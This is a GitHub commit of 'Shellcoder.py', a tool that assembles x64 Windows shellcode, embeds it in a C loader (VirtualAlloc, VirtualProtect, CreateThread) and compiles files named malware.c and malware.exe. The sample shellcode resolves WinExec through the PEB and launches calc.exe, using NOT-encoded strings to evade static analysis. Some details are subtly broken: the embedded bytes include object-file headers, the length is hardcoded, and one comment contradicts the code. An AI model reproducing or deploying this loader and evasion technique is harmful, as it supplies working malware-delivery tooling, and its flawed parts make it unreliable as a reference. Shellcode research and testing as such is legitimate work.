Skip to content

Commit fb20ede

Browse files
committed
init
0 parents  commit fb20ede

File tree

9 files changed

+256
-0
lines changed

9 files changed

+256
-0
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
out/
2+
out

README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Shellcoder.py
2+
3+
Write your shellcode in Assembly and execute it with one command!
4+
5+
This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command!
6+
7+
## Usage
8+
9+
Shellcoder most probably should be used on Windows because of the MSVC requirement.
10+
11+
```powershell
12+
# Run script
13+
python shellcoder.py
14+
```
15+
16+
## External dependencies
17+
18+
- Python 3
19+
- NASM (Netwide Assembler)
20+
- Visual Studio 2022

loader.c

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <windows.h>
2+
3+
void main() {
4+
void* exec;
5+
BOOL rv;
6+
HANDLE th;
7+
DWORD oldprotect = 0;
8+
9+
// Shellcode
10+
unsigned char payload[] = ":PAYLOAD:";
11+
unsigned int payload_len = 205;
12+
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
13+
RtlMoveMemory(exec, payload, payload_len);
14+
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
15+
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
16+
WaitForSingleObject(th, -1);
17+
18+
}

out/malware.c

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#include <windows.h>
2+
3+
void main() {
4+
void* exec;
5+
BOOL rv;
6+
HANDLE th;
7+
DWORD oldprotect = 0;
8+
9+
// Shellcode
10+
unsigned char payload[] = "\x64\x86\x1\x0\xce\x8b\x9a\x66\x9\x1\x0\x0\xa\x0\x0\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\xcd\x0\x0\x0\x3c\x0\x0\x0\x9\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x20\x0\x50\x60\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x1\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x8\x8b\x14\xb\x4c\x1\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x1\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x1\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x1\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\xc\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x1\xc7\x48\x89\xd6\xf3\xa6\x74\x5\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x4\x44\x41\x8b\x4\x82\x4c\x1\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x7\x48\xb8\xf\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x8\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x2e\x66\x69\x6c\x65\x0\x0\x0\x0\x0\x0\x0\xfe\xff\x0\x0\x67\x1\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2e\x61\x73\x6d\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x3\x1\xcd\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2e\x61\x62\x73\x6f\x6c\x75\x74\x0\x0\x0\x0\xff\xff\x0\x0\x3\x0\x0\x0\x0\x0\x4\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x69\x6e\x63\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x0\x0\x0\x0\xf\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x61\x70\x69\x73\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x1b\x0\x0\x0\x67\x65\x74\x61\x70\x69\x61\x64\x64\x72\x0\x72\x65\x73\x6f\x6c\x76\x65\x61\x64\x64\x72\x0";
11+
unsigned int payload_len = 205;
12+
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
13+
RtlMoveMemory(exec, payload, payload_len);
14+
rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
15+
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
16+
WaitForSingleObject(th, -1);
17+
18+
}

out/malware.exe

108 KB
Binary file not shown.

out/malware.obj

2.2 KB
Binary file not shown.

out/shellcode.bin

472 Bytes
Binary file not shown.

shellcode.asm

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
; Compile & get shellcode from Kali:
2+
; nasm -f win64 popcalc.asm -o popcalc.o
3+
; for i in $(objdump -D popcalc.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done
4+
; Get kernel32.dll base address
5+
xor rdi, rdi ; RDI = 0x0
6+
mul rdi ; RAX&RDX =0x0
7+
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
8+
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
9+
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
10+
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
11+
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
12+
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
13+
mov r8, rbx ; RBX & R8 = &kernel32.dll
14+
15+
; Get kernel32.dll ExportTable Address
16+
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
17+
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
18+
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
19+
add cx, 0x88ff
20+
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
21+
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
22+
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
23+
24+
; Get &AddressTable from Kernel32.dll ExportTable
25+
xor r10, r10
26+
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
27+
add r10, r8 ; R10 = &AddressTable
28+
29+
; Get &NamePointerTable from Kernel32.dll ExportTable
30+
xor r11, r11
31+
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
32+
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
33+
34+
; Get &OrdinalTable from Kernel32.dll ExportTable
35+
xor r12, r12
36+
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
37+
add r12, r8 ; R12 = &OrdinalTable
38+
39+
jmp short apis
40+
41+
; Get the address of the API from the Kernel32.dll ExportTable
42+
getapiaddr:
43+
pop rbx ; save the return address for ret 2 caller after API address is found
44+
pop rcx ; Get the string length counter from stack
45+
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
46+
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
47+
push rcx ; push the string length counter to stack
48+
loop:
49+
mov rcx, [rsp] ; reset the string length counter from the stack
50+
xor rdi,rdi ; Clear RDI for setting up string name retrieval
51+
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
52+
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
53+
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
54+
repe cmpsb ; Compare strings at RDI & RSI
55+
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
56+
incloop:
57+
inc rax
58+
jmp short loop
59+
60+
; Find the address of GetProcAddress by using the last value of the Counter
61+
resolveaddr:
62+
pop rcx ; remove string length counter from top of stack
63+
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
64+
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
65+
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
66+
push rbx ; place the return address from the api string call back on the top of the stack
67+
ret ; return to API caller
68+
69+
apis: ; API Names to resolve addresses
70+
; WinExec | String length : 7
71+
xor rcx, rcx
72+
add cl, 0x7 ; String length for compare string
73+
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
74+
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
75+
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
76+
push rax
77+
push rcx ; push the string length counter to stack
78+
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
79+
mov r14, rax ; R14 = Kernel32.WinExec Address
80+
81+
; UINT WinExec(
82+
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
83+
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
84+
; );
85+
xor rcx, rcx
86+
mul rcx ; RAX & RDX & RCX = 0x0
87+
; calc.exe | String length : 8
88+
push rax ; Null terminate string on stack
89+
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
90+
not rax
91+
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
92+
push rax ; RSP = "calc.exe",0x0
93+
mov rcx, rsp ; RCX = "calc.exe",0x0
94+
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
95+
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
96+
call r14 ; Call WinExec("calc.exe", SW_HIDE)

shellcoder.py

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
#!/usr/bin/env python3
2+
#
3+
# Shellcoder.py :
4+
#
5+
# Author: Print3M (https://github.com/Print3M)
6+
#
7+
# This script helps automate the shellcode testing process.
8+
# It takes an Assembly file with shellcode, compiles
9+
# it into machine code (NASM), generates a payload in C with that,
10+
# and pastes it into the loader C file. Finally, the prepared C file
11+
# is compiled using MSVC. With this script you go from Assembly
12+
# shellcode to executable file with one command!
13+
#
14+
# External dependencies:
15+
# - Python 3
16+
# - NASM (Netwide Assembler)
17+
# - Visual Studio 2022
18+
19+
import subprocess
20+
import os
21+
import sys
22+
23+
# Directory with output files
24+
OUT_DIR = "out"
25+
26+
# Utility files
27+
SHELLCODE_INPUT_FILE = "shellcode.asm"
28+
SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin"
29+
LOADER_INPUT_FILE = "loader.c"
30+
LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c"
31+
32+
# String to be replaced by generated payload
33+
PAYLOAD_STRING = ":PAYLOAD:"
34+
35+
# Name of final binary output file
36+
BINARY_OUTPUT_FILE = f"{OUT_DIR}\\malware.exe"
37+
38+
# Batch script with Visual Studio compiler environment variables
39+
MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat"
40+
41+
42+
def is_cmd_available(cmd: str):
43+
try:
44+
subprocess.call(cmd, text=True)
45+
except FileNotFoundError:
46+
return False
47+
48+
return True
49+
50+
51+
def assert_cmd(cmd: str):
52+
if (is_cmd_available(cmd)):
53+
return
54+
55+
print(f"[!] command not found: {cmd}", file=sys.stderr)
56+
sys.exit(-1)
57+
58+
59+
if __name__ == "__main__":
60+
# Check if NASM is available
61+
assert_cmd("nasm")
62+
63+
# Prepare output directory
64+
os.makedirs(OUT_DIR, exist_ok=True)
65+
66+
# Compile Assembly
67+
subprocess.run(
68+
["nasm", "-f", "win64", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True
69+
)
70+
71+
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}")
72+
73+
# Prepare C array with shellcode payload
74+
payload = ""
75+
with open(SHELLCODE_OUTPUT_FILE, "rb") as f:
76+
bytes = bytearray(f.read())
77+
78+
size = len(bytes)
79+
80+
for byte in bytes:
81+
payload += "\\" + hex(byte).lstrip("0")
82+
83+
print(f"[+] Payload size: {size} bytes")
84+
85+
# Inject payload into loader source code
86+
with open(LOADER_INPUT_FILE, "r") as f:
87+
loader = f.read()
88+
89+
loader = loader.replace(PAYLOAD_STRING, payload)
90+
91+
with open(LOADER_OUTPUT_FILE, "w") as f:
92+
f.write(loader)
93+
94+
print(f"[+] {LOADER_INPUT_FILE} -> {LOADER_OUTPUT_FILE}")
95+
96+
# Compile final binary
97+
print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n")
98+
99+
cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"'
100+
proc = subprocess.run(cmd, check=True, text=True)
101+
102+
print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")

0 commit comments

Comments
 (0)